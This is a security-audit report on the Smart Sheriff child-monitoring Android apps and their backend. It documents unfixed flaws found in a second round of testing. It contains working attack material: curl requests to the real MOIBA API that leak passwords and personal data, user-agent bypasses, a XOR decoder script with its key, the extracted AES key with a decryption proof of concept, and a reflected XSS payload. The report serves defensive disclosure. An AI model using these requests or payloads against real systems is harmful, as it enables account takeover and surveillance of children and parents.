Pentest-Report SmartSheriff 10.2015

Cure53, Dr.-Ing. Mario Heiderich, Fabian Fäßler, Dipl.-Ing. Abraham Aranguren

Index

Introduction

"The Smart Sheriff versions analyzed by the researchers stored and transmitted user data insecurely, and did not properly implement industry-standard encryption. This insecurity makes it possible for attackers to monitor data, and impersonate both servers and apps to tamper with data. The researchers also found that Smart Sheriff sends browsing data back to MOIBA servers, despite this functionality purportedly being disabled in May 2015 over privacy concerns."

From https://citizenlab.or...rt-sheriff-south-korea/

This report describes a follow-up analysis against the Smart Sheriff mobile apps, which is a government-mandated smartphone application compound deployed in South Korea. The project states its purpose as allowing parents[1] to monitor the online activities of their children[2]. The analysis against the version(s) 1.7.7 was carried out by two senior-testers of the Cure53 team and took a total of four days to complete. The findings are based on a penetration test (and its results) against an older version of the same application conducted back in July 2015.

In terms of the process and timeline, the results of the first test were made public back in September 2015 and were published together with a detailed report[3] from Citizen Lab, Toronto. The report exposed critical security vulnerabilities in Smart Sheriff[4]. Later on MOIBA[5], the maintainer of the vulnerable applications, claimed that all critical vulnerabilities have been fixed and consequently released several new versions of the application compound[6]. However, as this report demonstrates, the second round of testing revealed many problems and outright flaws with regard to reliability and robustness of the MOBIA's fixes that were advertised as repaired and handled.

First and foremost it must be stated that as many as 12 of the 18 security flaws previously identified by Cure53 have not been fixed at all. What is even more worrisome, this pool of vulnerabilities includes a very high proportion of 8 issues with either a "Critical" or a "High" ranking. The second and equally dismal discovery is the behavior of the maintainer falsely claiming that the problems have been resolved and thus misleading the users and putting them at risk. This exposure, especially paired with the fact that the results of the first round of testing are now public, leaves the users fully open to attackers taking control of their phones, intercepting their communications, as well as gaining access to all of their account data, associated and private information. In addition, it is tremendously impactful and unacceptable that the attacker can now remotely load applications of their choosing onto a child's phone. All this combined sheds light on the lack of responsibility and loyalty towards the users whose privacy and security do not seem to be taken seriously by MOIBA. Finally, it has to be underscored that a situation in which maintainers' interests are protected while users' safety is ignored is a clear display of treacherousness on MOIBA's part. With this report being based on solid two-phase research and testing, the presented evidence cannot be denied and can only be read as a recommendation to discontinue the Smart Sheriff services.

[1] https://play.google.com/store/apps/details?id=com.gt101.cleanwave&hl=en
[2] https://play.google.com/store/apps/details?id=kr.or.moiba.smartsheriff.child&hl=en
[3] https://twitter.com/citizenlab/status/645676078938345472
[4] http://bigstory.ap.org/article/947a7b2...ewsbreak-south-korea-backed-app-puts-children-risk
[5] https://www.moiba.or.kr/
[6] https://ss.moiba.or.kr/customer/bbs/list.do?BBS_BOARD_CODE=Notice

Honing in on the specifics, the following list of issues has been taken from the previous report[7] and enumerates those problems that were indeed verified as fixed by MOIBA:

- SMS-01-002 Possible Filter-Bypass via unsafe URL check (Medium)
- SMS-01-003 No use of any SSL/TLS-based transport security (High)
- SMS-01-004 Smart Sheriff Test-Page leaks Data and App-Internals (Medium)
- SMS-01-008 Reflected XSS via CHILD_MOBILE on ssweb.moiba.or.kr (Medium)
- SMS-01-012 Unsafe Mobile App Data Storage on SD Card (High)
- SMS-01-015 API leaks Personal data of Users of the Child-App (High)

Furthermore, as already mentioned above, a plethora of more relevant and pressing results of this investigation is much more concerning and can be found below. This report outlines the the fixes that can be characterized as incomplete, introducing new problems, or being prone to variations. To reiterate, the state of security for the Smart Sheriff applications has not been significantly altered or improved. The newly installed fixes were often deemed faulty and/or partial, creating a dangerous and false sense of security. Regardless of what the maintainer claims, the level of insecurity found in the Smart Sheriff application has not changed.

Scope

- **SmartSheriff Parent App**
  - http://apkpure.com/%EC%8A%A4%EB%A7%88%ED%8A%B8%EB%B3%B4%EC%95%88%EA%B4%80-%EB%B6%80%EB%AA%A8%EC%9A%A9/com.gt101.cleanwave
- **SmartSheriff Child App**
  - http://apkpure.com/%EC%8A%A4%EB%A7%88%ED%8A%B8%EB%B3%B4%EC%95%88%EA%B4%80-%EC%9E%90%EB%85%80%EC%9A%A9-lite%EB%B2%84%EC%A0%84/kr.or.moiba.smartsheriff.child

[7] https://cure53.de/pentest-report_smartsheriff.pdf

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in a chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *SMS-02-001*) for the purpose of facilitating any future follow-up correspondence.

SMS-02-002 Complete lack of authentication on most API calls *(**Critical**)*

The Smart Sheriff generally does not require any cookie authentication (a session ID or the like) or any form of authentication to perform a broad number of operations on behalf of the user. To add to this, even the *DEVICE_ID* parameter can be left out in most API calls which will continue to return results without a problem.

By now it is also not surprising that the MOBILE parameter has to only be XOR encoded, explaining why the MOBILE parameter is *"]5[redacted]5]"* on all API requests below:

XOR IN	XOR OUT
]5[redacted]5]	0[redacted]4
0[redacted]4	]5[redacted]5]

Example 1: *CLT_MBR_GETCLIENTMEMBERINFO*: Child Data, Parent mobile leak, etc. (The results shown below are both from the July and the October tests. They are accordingly labeled "Round 1" and "Round 2").

Example Request:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"whatever",
"MOBILE":"]5[redacted]5]", "DEVICE_ID":"whatever" }' > tmp.txt ; cat tmp.txt | php
-r "echo urldecode(file_get_contents('php://stdin'));"
```

Server Response:

Round 1:

```
{"CHILD_GRADE_TYPE":"G","CHILD_BIR_YMD":"1[redacted]3","MEMBER_YN":"Y","CHILD_BLCK
_GRADE":"2","PASSWORD":"[redacted]","PARENT_MOBILE":".3[redacted]C","REGISTRATION_ID":"A
PA91b[redacted]noN","DIVN":"CHILD"}
```

Round 2: (password obfuscated but child's date of birth and parent's mobile still leaked)

```
{"CHILD_GRADE_TYPE":"G","CHILD_BIR_YMD":"1[redacted]3","MEMBER_YN":"Y","CHILD_BLCK
_GRADE":"2","PASSWORD":"****","PARENT_MOBILE":".3[redacted]C","REGISTRATION_ID":"A
PA91b[redacted]noN","DIVN":"CHILD"}
```

Example 2: *CLT_BLCK_SYNCALLCONTENTS*: Date of Birth leak, etc. (The results shown below stem from both the July and the October tests. They are accordingly labeled “Round 1” and “Round 2”).

Example Request:

```
 curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_BLCK_SYNCALLCONTENTS", "DOWNLOAD_MARKET_TYPE":"PLAY",
"PROCESS_DETECT_TYPE":"LOOP", "DEVICE_ID":"whatever","CONTENTS_TYPE":"ALL",
"MOBILE":"]5[redacted]5]" }' > tmp.txt ; cat tmp.txt | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

Server Response:

Round 1:

```
{"SYNC_APP_LIST":{"BLCK_ACT_DIVN":[],"BASIC_TYPE_YN":
[],"RESULT_COUNT":"0","BAD_BLCK_GRADE":[],"PACKAGE_ID":[],"BROWSER_TYPE_YN":
[]},"SYNC_TIME_INFO":{"RESULT_COUNT":"0","WEEKVALUE":[],"PACKAGE_ID":
[],"STARTTIME":[],"ENDTIME":[]},"SYNC_CHILD_INFO":
{"SYNC_REQUEST_STATUS":null,"CHILD_GRADE_TYPE":"G","RESULT_COUNT":"1","CHILD_BIR
_YMD":"1[redacted]3","PROCESS_DETECT_TYPE":"LOOP","CHILD_BLCK_GRADE":"2","PASSWORD
":"[redacted]","VALID_MEMBER_YN":"Y","DIVN":"CHILD"}}
```

Round 2: (Date of birth still leaked)

```
{"SYNC_APP_LIST":{"BLCK_ACT_DIVN":[],"BASIC_TYPE_YN":
[],"RESULT_COUNT":"0","BAD_BLCK_GRADE":[],"PACKAGE_ID":[],"BROWSER_TYPE_YN":
[]},"SYNC_TIME_INFO":{"RESULT_COUNT":"0","WEEKVALUE":[],"PACKAGE_ID":
[],"STARTTIME":[],"ENDTIME":[]},"SYNC_CHILD_INFO":
{"SYNC_REQUEST_STATUS":null,"CHILD_GRADE_TYPE":"G","RESULT_COUNT":"1","CHILD_BIR
_YMD":"1[redacted]3","PROCESS_DETECT_TYPE":"LOOP","CHILD_BLCK_GRADE":"2","PASSWORD
":"****","VALID_MEMBER_YN":"Y","DIVN":"CHILD"}}
```

Example 3: *CLT_BLCK_SYNCAPPAPPLYINFO*: List all installed Apps on Device (The results shown below stem from both the July and the October tests. They are accordingly labeled “Round 1” and “Round 2”).

Example Request:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data '{"DEVICE_ID":"whatever",
"MOBILE":"]5[redacted]5]", "action":"CLT_BLCK_SYNCAPPAPPLYINFO" }' > tmp.txt ; cat
tmp.txt | php -r "echo urldecode(file_get_contents('php://stdin'));"
```

Server Response:

No change between Rounds 1 and 2:

```
{"BASIC_TYPE_YN":[null,...,null,"N",...,"N",null,...,null],"PACKAGE_ID":
["com.ilegendsoft.mercury","com.netnaru.playxp","com.cloudmosa.puffin","com.tenc
ent.international.mtt","com.Snstar","com.afbl.integratedsearch","com.appsverse.p
rivatebrowser","com.opera.browser.classic","purpleberry.browser","droidmate.brow
ser","net.busang.touchcontrol2011","com.boatbrowser.free.addon.en","com.maxanoid
.privatebrowser","net.daum.android.daum","net.oxdb.MySearch","com.mns.android.Sm
artHome","jsg.capturebrowser","org.mozilla.firefox","kr.co.nowcom.mobile.afreeca
","com.iloen.melon.tablet","com.google.android.ebk.hana.lxuzpukuj","com.web.web"
,"com.arkadiyse.rootexplorer","kapd.daum.sncid.ckeapd.acptor","rmdka.naver.gpdka
.cacptor",
```

```
...
"me.android.browser","com.netpia.NLIABrowser","kr.co.waffleapp.invisible.browser
","giil.favorites","com.fillforce.mybrowser","com.mkiisoft.popup","com.exsoul"],
"BROWSER_TYPE_YN":["Y",...,"Y"]}
```

Example 4: *CLT_MBR_SYNCMOBILEDEVICEINFO*: Change Registration Settings (The results shown below stem from both the July and the October tests. They are accordingly labeled “Round 1” and “Round 2”).

Example Request:

```
 curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_SYNCMOBILEDEVICEINFO", "MOIBILE_DEVICE_VENDER":"whatever",
"MOIBILE_DEVICE_MODEL":"whatever", "MOIBILE_ANDROID_VER":"1",
"MOIBILE_ANDROID_RELEASE":"1.2.3", "SYSTEM_APP_VER_NAME":"1.2.3",
"SYSTEM_APP_VER_CODE":1, "DOWNLOAD_MARKET_TYPE":"PLAY", "DEVICE_ID":"whatever",
"MOBILE":"]5[redacted]5]" }' > tmp.txt ; cat tmp.txt | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

Server Response:

No change between Rounds 1 and 2:

```
{"resultSet":[{"REG_YN":"S","STATUS":"S"}],"size":"1"}
```

Example 5: *CLT_BLCK_GETTIMEBLOCKINFO*: Retrieve Blocking Rules (The results shown below stem from both the July and the October tests. They are accordingly labeled “Round 1” and “Round 2”).

Example Request:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data '{ "DEVICE_ID":"abc",
"MOBILE":"]5[redacted]5]", "action":"CLT_BLCK_GETTIMEBLOCKINFO" }' > tmp.txt ; cat
tmp.txt | php -r "echo urldecode(file_get_contents('php://stdin'));"
```

Server Response:

No change between Rounds 1 and 2:

```
{"RESULT_COUNT":"2","WEEKVALUE":["127","127"],"PACKAGE_ID":
["ALL","ALL"],"STARTTIME":["0000","0403"],"ENDTIME":["0307","2400"]}
```

As can be seen, the changes to the API responses are minimal but present. In summary, the exposed password was replaced by placeholders. The next documented issue, SMS-02-003 will however dive deeper into getting access to user passwords.

SMS-02-003 Smart Sheriff API still allows universal Password Leak *(**Critical**)*

Any attacker who has knowledge of a phone number tracked and covered by surveillance of the Smart Sheriff application can get access to the password associated with that account. This can be done through a Smart Sheriff Server API which offers password retrieval as a feature. The use of the API entails sending a simple unauthenticated request, followed by receiving and reading a response.

Please note that the returned passwords are simply “encrypted” with a trivially bypassable XOR algorithm, as illustrated in SMS-02-005 (which namely is the same script that has been employed during Round 1 of this assignment).

XOR “encryption” reminder:

```
python xor.py ████ → 0000
python xor.py 0000 → ████
```

It was discovered during this second round of testing that the previously working password leak is now handled in a variety of ways. It is sometimes changed to asterisks (i.e. the API-returned password is ****) or, alternatively, when the same request is sent with a different user-agent or even simply with the same user-agent, the password is returned in the reversible XOR format exactly as it did in Round 1. This is true for some of the API calls and some instances include the following:

Example 1) Default curl user agent

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"HTC|HTC_One_S|
15[4.0.3]", "MOBILE":".3██████████C",  "DEVICE_ID":"unknown" }' | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

OUT:

```
{"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRADE":"",
"PASSWORD":"****","PARENT_MOBILE":".3██████████C","REGISTRATION_ID":"","DIVN":
"PARENT"}
```

However, if the same request is made **with another user-agent string** and then again with the default curl user-agent, then the password is leaked again:

```
curl -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"HTC|HTC_One_S|
15[4.0.3]", "MOBILE":".3██████████C",  "DEVICE_ID":"unknown" }' | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

OUT:

```
{"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRADE":"",
"PASSWORD":"████","PARENT_MOBILE":".3██████████C","REGISTRATION_ID":"","DIVN":
"PARENT"}
```

Example 2) Bypass via IE 6.0 user agent

```
curl -A "MSIE 6.0" -s 'http://api.moiba.or.kr/MessageRequest' --data
'{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"HTC|HTC_One_S|
```

```
15[4.0.3]", "MOBILE":".3[redacted]C",  "DEVICE_ID":"unknown" }' | php -r "echo
urldecode(file_get_contents('php://stdin'));"
```

OUT:

```
{"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRADE":"",
"PASSWORD":"[redacted]","PARENT_MOBILE":".3[redacted]C","REGISTRATION_ID":"","DIVN":
"PARENT"}
```

Example 3) Bypass via mobile number and "HTC One" user agent:

```
curl -A "HTC One" -s 'http://api.moiba.or.kr/MessageRequest' --data
'request={"action":"CLT_MBR_GETCLIENTMEMBERINFO","MOBILE":"]5[redacted]5]"}' | php
-r "echo urldecode(file_get_contents('php://stdin'));"
```

OUT:

```
{"CHILD_GRADE_TYPE":"G","CHILD_BIR_YMD":"1[redacted]3","MEMBER_YN":"Y","CHILD_BLCK
_GRADE":"2","PASSWORD":"[redacted]","PARENT_MOBILE":".3[redacted]C","REGISTRATION_ID
":"APA91bH[redacted]noN","DIVN":"CHILD"}
```

Example 4) Using a real phone number

While this process can be trivially scripted, the breakdown of simple tasks for retrieval of a password from a phone number leveraging this API is as follows:

1. Phone number: 0[redacted]2
2. Getting the XOR string:
   ```
   python xor.py 0[redacted]2
   ]1[redacted]0[
   ```
3. Sending a request to the API:
   ```
   curl -A "MSIE 6.0" -s 'http://api.moiba.or.kr/MessageRequest' --data
   'request={"action":"CLT_MBR_GETCLIENTMEMBERINFO","MOBILE":"]1[redacted]0["}
   ' | php -r "echo urldecode(file_get_contents('php://stdin'));"
   ```
   OUT:
   ```
   {"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRA
   DE":"","PASSWORD":"[redacted]","PARENT_MOBILE":"]1[redacted]0[","REGISTRATION_ID"
   :"APA91bF[redacted]obp7g","DIVN":"PARENT"}
   ```
4. Extracting the Password from the XOR string:
   ```
   python xor.py [redacted]
   [redacted]
   ```

While a password length of four characters (a.k.a. PIN) is insufficient to protect any information of sensitive nature, this API feature takes the burden of brute-forcing 10000 numbers off the attacker and exposes the passwords directly. Note that based on the phone number that the child-app uses, the parent's number and the connected password can be extracted. Let us reiterate that this encompasses all and any information necessary for fully compromising the apps and the phones that host them. What is more the examples above illustrate the fact that passwords are not even encrypted on the database at the moment.

SMS-02-004 Smart Sheriff leaks parent phone numbers *(Medium)*

The Smart Sheriff login page and API leaks parental phone number whenever their child's phone number is known. The API leak can be seen in SMS-02-002. For the login page, simply passing a child's number, either via a POST request or passing a "MOBILE" parameter in the URL, unveils the parent's phone number.

Example Script:

```
MOBILE=$(php -r "echo urlencode('$(python xor.py 05[redacted]4)');"); curl -s
"http://ssweb.moiba.or.kr/main/login?MOBILE=$MOBILE" | lynx --dump -stdin
-nolist | grep '\['
```

Resulting Server Response:

```
[01[redacted]2______]
```

SMS-02-005 Insufficient cryptographic XOR Protection for sensitive Data *(High)*

The API still "encrypts" data such as Phone numbers and device IDs with a simple XOR operation. This is insufficient to protect any of the encrypted entries. The key for this operation can either be easily reverse-engineered or extracted from the decompiled sources of the old app, effectively allowing an attacker to decrypt the allegedly protected data.

As the example script below demonstrates, the use of a simple and well-known plaintext attack makes it possible to fully bypass the cryptography employed by the app, even if the key is known to an attacker.

Example script usage:

```
python xor.py ]5[redacted]5] → 05[redacted]4
python xor.py 05[redacted]4 → ]5[redacted]5]
```

Example script:

```
cat xor.py
#!/usr/bin/env python
import sys

if len(sys.argv) != 2:
       print "Usage: " + sys.argv[0] + " string"
       sys.exit()

def XOR(s):
    abyte2 = [109, 0, 111, 105, 98, 97, 103, 116, 119, 0, 105, 103, 115,
         121, 115, 116, 101, 0, 109, 115, 102, 105, 103, 104, 116, 0, 105,
         110, 103, 104, 104, 104, 107, 0, 107, 107, 107, 111, 107]
    abyte0 = [0 for c in s]
    abyte1 = [ord(c) for c in s]
    j = 0;
    k = 0;
    while True:
        abyte0 = [i for i in abyte1]
        l = len(s)
        if k>=l:
```

```
            abyte0 = [i for i in abyte1]
            return "".join([chr(c) for c in abyte0])
        else:
            abyte1[k] = abyte1[k]^abyte2[j]
            j+=1
            abyte0 = [i for i in abyte1]
            l = len(s)
            if j>=l:
                j=0
            k+=1

print XOR(sys.argv[1])
```

This particular way of obfuscating important information once again proves that the app was neither conceived nor written as a secure or privacy-oriented endeavor. All “encrypted” information can be decoded trivially and let attackers get hands on sensitive information and perform API calls to leak additional data.

SMS-02-006 Reflected XSS via H_TYPE on ssweb.moiba.or.kr *(Medium)*

The member registration form fails to output-encode user-input prior to rendering it on the HTML page. This could be leveraged by an attacker to execute JavaScript in the security context of the *ssweb.moiba.or.kr* domain, hence signifying an option to impersonate application’s users.

PoC:
https://ssweb.moiba.or.kr/main/restCenter?MOBILE_NUMVAL=&H_TYPE=%27%3D%3D1%29{}}alert%281%29%3Bfunction+f%28%29{if+%28%270

Resulting HTML:

```
<script type="text/javascript">
function fn_Goback(){
       if('==1){}}alert(1);function f(){if ('0' == "P"){
              location.href="/main/login";
       }else{
              location.href="/login_child";
       }
}
</script>
```

SMS-02-007 Possible Remote Code Execution via MitM in WebView *(**Critical**)*

After downloading the APK and decompiling the DEX file, a simple full-text search unveiled the first security issue ranked as “Critical”. This vulnerability allows an attacker to get control over a phone running the Smart Sheriff app by abusing insecure usage of Android’s JavaScript Interfaces for WebViews.[8]

Child app:
File: child_app/src/kr/or/moiba/smartsheriff/ui/Application_WebMainActivity.java
Affected Code (decompiled source):

```
WebView localWebView = (WebView)findViewById(2131165184);
localWebView.setWebViewClient(new m(this));
localWebView.getSettings().setJavaScriptEnabled(true);
localWebView.getSettings().setSavePassword(false);
localWebView.getSettings().setSaveFormData(false);
localWebView.addJavascriptInterface(new
Application_WebMainActivity.JavaScriptInterface(this),
String.valueOf(getApplicationContext().getText(2131034160)));
localWebView.setWebChromeClient(new g(this));
localWebView.postUrl((String)localObject1, ((String)localObject2).getBytes());
```

Parent app:
File: parent_app/src/kr/co/wigsys/sheriff/ui/Application_WebMainActivity.java
Affected Code (decompiled source):

```
label205: WebView localWebView = (WebView)findViewById(2131165184);
localWebView.setWebViewClient(new m(this));
localWebView.getSettings().setJavaScriptEnabled(true);
localWebView.getSettings().setSavePassword(false);
localWebView.getSettings().setSaveFormData(false);
localWebView.addJavascriptInterface(new
Application_WebMainActivity.JavaScriptInterface(this),
String.valueOf(getApplicationContext().getText(2131034160)));
localWebView.setWebChromeClient(new g(this));
localWebView.postUrl((String)localObject1, ((String)localObject2).getBytes());
```

Although all network traffic between the app and the MOIBA API servers is now using HTTPS, this does not change much given that all invalid SSL certificates will be accepted as reported under SMS-02-008. Therefore a MitM attack[9] can be trivially executed by any attacker who manages to lure a victim into a malicious Wi-Fi network.

Consequently a reliable and simple to use remote code execution vector[10] is achieved. Note, however, that the affected versions of Android range from 2.4 to 4.1 (API Level 17, included). Later versions are only vulnerable if a public method is annotated with *@JavaScriptInterface*, which is not the case for this app as far as the decompiled sources indicated.

[8] http://developer.android.com/reference/android/webkit/JavascriptInterface.html
[9] https://en.wikipedia.org/wiki/Man-in-the-middle_attack
[10] https://labs.mwrinfosecurity.com/blog/2013/...addjavascriptinterface-remote-code-execution/

SMS-02-008 Mobile app error handlers are setup to ignore all SSL errors *(High)*

By the time that this round of testing began, both the parent and the child apps were appearing to be setup to use only HTTPS URLs. However, it transpired that they both defeat the protections of the TLS protocol with an SSL error handler that proceeds regardless of the error. Hence, a Man-In-The-Middle can forge a self-signed certificate. The communications can be intercepted since the mobile apps will accept the above mentioned certificate without further verification.

In both cases the Android *SslErrorHandler.proceed()* API[11] is invoked. It ignores all certificate warnings, skipping each and every verification method or condition stated:

File: child_app/src/kr/or/moiba/smartsheriff/ui/m.java
File: parent_app/src/kr/co/wigsys/sheriff/ui/m.java
Code:

```
public final void onReceivedSslError(WebView paramWebView, SslErrorHandler
paramSslErrorHandler, SslError paramSslError)
  {
    paramSslErrorHandler.proceed();
  }
```

An example of the host verification logic:

File: child_app/src/kr/or/moiba/smartsheriff/d/c.java
File: parent_app/src/kr/co/wigsys/sheriff/d/c.java
Code (Decompiled):

```
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.SSLSession;

final class c
  implements HostnameVerifier
{
  public final boolean verify(String paramString, SSLSession paramSSLSession)
  {
    return true;
  }
}
```

SMS-02-009 Modifying Child-App Protection Settings *(Medium)*

As previously mentioned in the tickets SMS-02-003 and SMS-02-002, the Smart Sheriff Server API can be used to retrieve the password of the parent-app. This password can then be used to login and change the restrictions for a child-app. As a result it is possible for an attacker to act as an arbitrary parent-app and add the child's phone to another account. This completely defeats the intended purpose of attaining a safer phone environment, instead endangering children's data and, ultimately, their safety.

[11] http://developer.android.com/reference/android/webkit/SslErrorHandler.html#proceed()

SMS-02-010 Faking Child's Phone Usage *(High)*

It was already pointed out that the Smart Sheriff Server API lacks any form of authentication. A tangible consequence is that impersonating a child's phone just by knowing their phone number does not pose a serious challenge. This lever can be used to, for example, falsify usage statistics and create a fake list of installed apps. This could evidently get a child in trouble.

SMS-02-012 Insecure usage of AES Encryption *(**Critical**)*

The new version of the Smart Sheriff App introduces a new API endpoint *MessageRequest_New*. This endpoint basically just wraps the old API requests in AES (Advanced Encryption Standard) encryption but AES is a symmetric cipher, which means that the same key is used for encryption and decryption.

The static key is embedded in the *.apk* and can easily be retrieved by everyone with access to the app. It can then be used for decryption of any request, as well as encryption and fake requests. Despite this useless encryption, the responses are still received in plaintext and contain sensitive information, such as XORed password (see SMS-02-005).

Static AES key:

```
<string name="ae6">bW9pYmExY3liYXI4c21hcnQ0c2hlcmlmZjRzZWN1cmk=</string>
```

which is "*moiba1cybar8smart4sheriff4securi*" in base64-encoded.

Plain Request:

```
{ "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"HTC|HTC_One_S|
15[4.0.3]", "MOBILE":".3[redacted]C",  "DEVICE_ID":"unknown" }
```

PoC decrypt in Java:

```
package decrypt;
import javax.crypto.Cipher;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;

public class Main {
	public static void main(String[] args) {
		try {
			String encrypted_text =
"+yld[redacted]qteA==";

			// key = moiba1cybar8smart4sheriff4securi
			byte[] key =
Base64.getDecoder().decode("bW9pYmExY3liYXI4c21hcnQ0c2hlcmlmZjRzZWN1cmk=");

			SecretKey aesKey = new SecretKeySpec(key, "AES");
			System.out.println("AES key: "+new String(key));
```

```
                    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
                IvParameterSpec ivspec = new IvParameterSpec(new byte[16]);
                cipher.init(Cipher.DECRYPT_MODE, aesKey, ivspec);
                byte[] decrypted_data =
cipher.doFinal(Base64.getDecoder().decode(encrypted_text));

                String decoded = java.net.URLDecoder.decode(new
String(decrypted_data), "UTF-8");
                System.out.println("Decrypted: "+decoded);

            } catch (Exception e) {
                    e.printStackTrace();
            }
        }
}

/*
Output:
AES key: moiba1cybar8smart4sheriff4securi
Decrypted: { "action":"CLT_MBR_GETCLIENTMEMBERINFO", "MOBILE_MACHINE_INFO":"HTC|
HTC_One_S|15[4.0.3]", "MOBILE":".3[redacted]C",  "DEVICE_ID":"unknown" }
*/
```

Encrypted Request:

```
request=+yld[redacted]
[redacted]
[redacted]qteA==
```

PoC:

```
$ curl -s -v 'http://api.moiba.or.kr/MessageRequest_New' --data
'request=+yld3[redacted]
[redacted]
[redacted]qteA==' | php -r "echo
urldecode(file_get_contents('php://stdin'));"

{"CHILD_GRADE_TYPE":"","CHILD_BIR_YMD":"","MEMBER_YN":"Y","CHILD_BLCK_GRADE":"",
"PASSWORD":"[redacted]","PARENT_MOBILE":".3[redacted]C","REGISTRATION_ID":"","DIVN":
"PARENT"}
```

The implemented cryptographic is therefore proven to be useless and trivial to defeat by any technically verse attacker.

SMS-02-013 Unsafe Mobile App Data Storage on SD Card *(High)*

The Smart Sheriff Mobile app defeats the built-in protections provided by the Android operating system by saving sensitive data in clear-text on the SD Card.[12] This means that other apps could write to or read the SD Card. Similarly bad scenarios include an extraction of the SD Card without needing to know neither the pin nor the pattern normally necessary for unlocking the phone.

[12] https://en.wikipedia.org/wiki/Secure_Digital

The following example code snippets were found during the code audit:

Example 1: Copy of the entire SmartSheriff.db from internal storage (protected) onto the SD Card (unprotected)

Affected File: *source/src/kr/co/wigsys/sheriff/ui/ab.java*
Vulnerable Code:

```
Object obj = new File((new
StringBuilder()).append(Environment.getDataDirectory()).append("/data/com.gt101.
cleanwave/databases/SmartSheriff.db").toString());
Object obj1 = new File(Environment.getExternalStorageDirectory(), "");
if (!((File) (obj1)).exists())
{
     ((File) (obj1)).mkdirs();
}
obj1 = new File(((File) (obj1)), ((File) (obj)).getName());
FileChannel filechannel;
FileChannel filechannel1;
Exception exception;
try
{
    ((File) (obj1)).createNewFile();
    obj = new FileInputStream(((File) (obj)));
    obj1 = new FileOutputStream(((File) (obj1)));
    filechannel = ((FileInputStream) (obj)).getChannel();
    filechannel1 = ((FileOutputStream) (obj1)).getChannel();
}
```

Example 2: Saving the UI block history pages on the SD Card

Affected File: *source/src/kr/co/wigsys/sheriff/service/a.java*
Vulnerable Code:

```
  public static String r = "file:///mnt/sdcard/smartshreff";
   static String s = "blockhistory.html";
   static String t = "blockforward.html";
   static String u = "blocksite.html";
   static String v = "back_blockContents.png";
   static String w = "btn_gotohome.png";
   static String x = "p_blockhistory.html";
   static String y = "p_blockforward.html";
   static String z = "p_blocksite.html";
...
Object obj = Environment.getExternalStorageDirectory();
r = (new StringBuilder("file://")).append(((File)
(obj)).getPath()).append("/smartshreff/").toString();
```

```
B = new File((new StringBuilder(String.valueOf(((File)
(obj)).getPath())))).append("/smartshreff/").append(s).toString());
D = new File((new StringBuilder(String.valueOf(((File)
(obj)).getPath())))).append("/smartshreff/").append(u).toString());
```

Note that this ticket does not expire the long list of all instances of vulnerable code and insecure data storage. It rather employs the aforementioned examples for illustration purposes and, as with other issues listed in this report, the scale of the problem clearly indicates that neither thoughts on security nor dedication to privacy accompanied the planning and building process of the application's features.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

SMS-02-011 Multiple TLS Misconfiguration issues *(Info)*

The Smart Sheriff's backend server (located at IP address 211.110.12.203) has a TLS listener that is misconfigured and vulnerable to the following issues:

- SSL 3 support
- Weak (SHA1) certificate signature
- The server solely supports old protocols like SSLv3 and TLS 1.0
- The insecure RC4 cipher is supported
- Secure renegotiation is not supported
- Forward Secrecy is not supported

SSL-Labs Test Result:
https://www.ssllabs.com/ssltest/analyze.html?d=ssweb.moiba.or.kr&hideResults=on

It is important to note that the server available on IP address 211.110.12.203 hosts the following domains:

- http://api.moiba.or.kr
- http://ssweb.moiba.or.kr
- http://ssadm.moiba.or.kr
- http://ss.moiba.or.kr
- http://sd.moiba.or.kr

SMS-02-001 Multiple Instances of outdated Software on API Servers *(Medium)*

The Smart Sheriff's backend server (available on IP address 211.110.12.203) is run on top of outdated software, known to be vulnerable to a breadth of security issues. For example, *ssweb.moiba.or.kr* is running Apache/2.0.65, which was released in July 2013 and is no longer supported.[13] However, certain URLs are processed by an even older Apache version, namely Apache/2.0.59. An example of this is the sensitive MessageRequest API endpoint.

Apache in version 2.0.59 is known to be vulnerable to several distinct security issues, including those enumerated below:

- **CVE-2011-3192**[14] - CVSS 7.8 - The byte range filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges. It was exploited in the wild in August 2011 and constitutes a vulnerability different from CVE-2007-0086.
